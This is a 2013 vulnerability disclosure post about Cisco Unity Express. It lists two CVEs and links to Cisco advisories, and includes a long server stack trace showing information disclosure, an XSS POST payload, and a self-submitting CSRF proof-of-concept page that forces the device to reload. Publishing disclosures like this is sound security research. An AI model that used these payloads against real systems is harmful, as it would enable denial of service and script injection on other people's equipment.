Friday, February 1, 2013

Cisco Unity Express Vulnerabilities


# Exploit Title: Cisco Unity Express Multiple Vulnerabilities
# Reported: December 2012
# Disclosed: February 2013
# Author: Jacob Holcomb of Independent Security Evaluators
# CVE: XSS - CVE-2013-1114 and CSRF - CVE-2013-1120



Cisco Advisory
  • http://tools.cisco.com/security/center/content/CiscoSecurityNotice/CVE-2013-1114
  • http://tools.cisco.com/security/center/content/CiscoSecurityNotice/CVE-2013-1120

Proof of Concept
XSS - CVE-2013-1114:

  • GET:

    • Reflective XSS & Info disclosure


    •  Information Disclosure

Location: /Web/WEB-INF/screens/main.jsp

Error Location: /Web/WEB-INF/screens/prompts/ListScripts.jsp

Internal Servlet Error:
javax.servlet.ServletException: invalid character at position 1 in >
org.apache.jasper.runtime.PageContextImpl.handlePageException (Unknown Source)
WEB_0002dINF.screens.prompts.ListScripts._jspService (ListScripts.java:2245)
org.apache.jasper.runtime.HttpJspBase.service (Unknown Source)
javax.servlet.http.HttpServlet.service (HttpServlet.java)
org.apache.tomcat.facade.ServletHandler.doService (Unknown Source)
org.apache.tomcat.core.Handler.invoke (Unknown Source)
org.apache.tomcat.core.Handler.service (Unknown Source)
org.apache.tomcat.facade.ServletHandler.service (Unknown Source)
org.apache.tomcat.facade.RequestDispatcherImpl.doInclude (Unknown Source)
org.apache.tomcat.facade.RequestDispatcherImpl.access$000 (Unknown Source)
org.apache.tomcat.facade.RequestDispatcherImpl$RDIAction.run (Unknown Source)
org.apache.tomcat.util.compat.Jdk12Support$PrivilegedProxy.run (Unknown Source)
java.security.AccessController.doPrivileged (AccessController.java:273)
org.apache.tomcat.util.compat.Jdk12Support.doPrivileged (Unknown Source)
org.apache.tomcat.facade.RequestDispatcherImpl.include (Unknown Source)
org.apache.jasper.runtime.PageContextImpl.include (Unknown Source)
WEB_0002dINF.screens.main._jspService (main.java:396)
org.apache.jasper.runtime.HttpJspBase.service (Unknown Source)
javax.servlet.http.HttpServlet.service (HttpServlet.java)
org.apache.tomcat.facade.ServletHandler.doService (Unknown Source)
org.apache.tomcat.core.Handler.invoke (Unknown Source)
org.apache.tomcat.core.Handler.service (Unknown Source)
org.apache.tomcat.facade.ServletHandler.service (Unknown Source)
org.apache.tomcat.facade.RequestDispatcherImpl.doForward (Unknown Source)
org.apache.tomcat.facade.RequestDispatcherImpl.access$100 (Unknown Source)
org.apache.tomcat.facade.RequestDispatcherImpl$RDIAction.run (Unknown Source)
org.apache.tomcat.util.compat.Jdk12Support$PrivilegedProxy.run (Unknown Source)
java.security.AccessController.doPrivileged (AccessController.java:273)
org.apache.tomcat.util.compat.Jdk12Support.doPrivileged (Unknown Source)
org.apache.tomcat.facade.RequestDispatcherImpl.forward (Unknown Source)
org.apache.struts.action.ActionServlet.processActionForward (ActionServlet.java:1759)
org.apache.struts.action.ActionServlet.process (ActionServlet.java:1596)
com.cisco.aesop.vmgui.framework.WebController.process (WebController.java:157)
org.apache.struts.action.ActionServlet.doGet (ActionServlet.java:492)
javax.servlet.http.HttpServlet.service (HttpServlet.java)
javax.servlet.http.HttpServlet.service (HttpServlet.java)
org.apache.tomcat.facade.ServletHandler.doService (Unknown Source)
org.apache.tomcat.core.Handler.invoke (Unknown Source)
org.apache.tomcat.core.Handler.service (Unknown Source)
org.apache.tomcat.facade.ServletHandler.service (Unknown Source)
org.apache.tomcat.core.ContextManager.internalService (Unknown Source)
org.apache.tomcat.core.ContextManager.service (Unknown Source)
org.apache.tomcat.modules.server.Http10Interceptor.processConnection (Unknown Source)
org.apache.tomcat.util.net.TcpWorkerThread.runIt (Unknown Source)
org.apache.tomcat.util.threads.ThreadPool$ControlRunnable.run (Unknown Source)
java.lang.Thread.run (Thread.java:777)

Root cause:
java.lang.NumberFormatException: invalid character at position 1 in >
java.lang.Throwable. (Throwable.java:166)
java.lang.Integer.parseInt (Integer.java:775)
java.lang.Integer.parseInt (Integer.java:262)
com.cisco.aesop.gui.taglibs.PagingTableTag.doAfterBody (PagingTableTag.java:274)
WEB_0002dINF.screens.prompts.ListScripts._jspService (ListScripts.java:1903)
org.apache.jasper.runtime.HttpJspBase.service (Unknown Source)
javax.servlet.http.HttpServlet.service (HttpServlet.java)
org.apache.tomcat.facade.ServletHandler.doService (Unknown Source)
org.apache.tomcat.core.Handler.invoke (Unknown Source)
org.apache.tomcat.core.Handler.service (Unknown Source)
org.apache.tomcat.facade.ServletHandler.service (Unknown Source)
org.apache.tomcat.facade.RequestDispatcherImpl.doInclude (Unknown Source)
org.apache.tomcat.facade.RequestDispatcherImpl.access$000 (Unknown Source)
org.apache.tomcat.facade.RequestDispatcherImpl$RDIAction.run (Unknown Source)
org.apache.tomcat.util.compat.Jdk12Support$PrivilegedProxy.run (Unknown Source)
java.security.AccessController.doPrivileged (AccessController.java:273)
org.apache.tomcat.util.compat.Jdk12Support.doPrivileged (Unknown Source)
org.apache.tomcat.facade.RequestDispatcherImpl.include (Unknown Source)
org.apache.jasper.runtime.PageContextImpl.include (Unknown Source)
WEB_0002dINF.screens.main._jspService (main.java:396)
org.apache.jasper.runtime.HttpJspBase.service (Unknown Source)
javax.servlet.http.HttpServlet.service (HttpServlet.java)
org.apache.tomcat.facade.ServletHandler.doService (Unknown Source)
org.apache.tomcat.core.Handler.invoke (Unknown Source)
org.apache.tomcat.core.Handler.service (Unknown Source)
org.apache.tomcat.facade.ServletHandler.service (Unknown Source)
org.apache.tomcat.facade.RequestDispatcherImpl.doForward (Unknown Source)
org.apache.tomcat.facade.RequestDispatcherImpl.access$100 (Unknown Source)
org.apache.tomcat.facade.RequestDispatcherImpl$RDIAction.run (Unknown Source)
org.apache.tomcat.util.compat.Jdk12Support$PrivilegedProxy.run (Unknown Source)
java.security.AccessController.doPrivileged (AccessController.java:273)
org.apache.tomcat.util.compat.Jdk12Support.doPrivileged (Unknown Source)
org.apache.tomcat.facade.RequestDispatcherImpl.forward (Unknown Source)
org.apache.struts.action.ActionServlet.processActionForward (ActionServlet.java:1759)
org.apache.struts.action.ActionServlet.process (ActionServlet.java:1596)
com.cisco.aesop.vmgui.framework.WebController.process (WebController.java:157)
org.apache.struts.action.ActionServlet.doGet (ActionServlet.java:492)
javax.servlet.http.HttpServlet.service (HttpServlet.java)
javax.servlet.http.HttpServlet.service (HttpServlet.java)
org.apache.tomcat.facade.ServletHandler.doService (Unknown Source)
org.apache.tomcat.core.Handler.invoke (Unknown Source)
org.apache.tomcat.core.Handler.service (Unknown Source)
org.apache.tomcat.facade.ServletHandler.service (Unknown Source)
org.apache.tomcat.core.ContextManager.internalService (Unknown Source)
org.apache.tomcat.core.ContextManager.service (Unknown Source)
org.apache.tomcat.modules.server.Http10Interceptor.processConnection (Unknown Source)
org.apache.tomcat.util.net.TcpWorkerThread.runIt (Unknown Source)
org.apache.tomcat.util.threads.ThreadPool$ControlRunnable.run (Unknown Source)
java.lang.Thread.run (Thread.java:777)




  • POST:


      • POST Data: holiday.description=><script>alert(42)</script>&submitType=ADD
 










CSRF - CVE-2013-1120:

<html>
<!-- # Exploit Title: Cisco Unity Express CSRF
     # Date: Discovered and reported December 2012
     # Disclosed: February 2013
     # Author: Jacob Holcomb of Independent Security Evaluators
     # Software: Cisco Unity Express
     # CVE : CVE-2013-1120 for the CSRF
     # Note: All the HTML forms are susceptible to forgery -->

<head>
<title>Reload Cisco Unity Express CSRF</title>
</head>

<body>

<form name="CUEreload" action="http://X.X.X.X/Web/SA/SaveConfiguration.do" method="post">
<input type="hidden" name="submitType" value="RELOAD"/>

</form>

<script>
document.CUEreload.submit();
</script>

</body>
</html>

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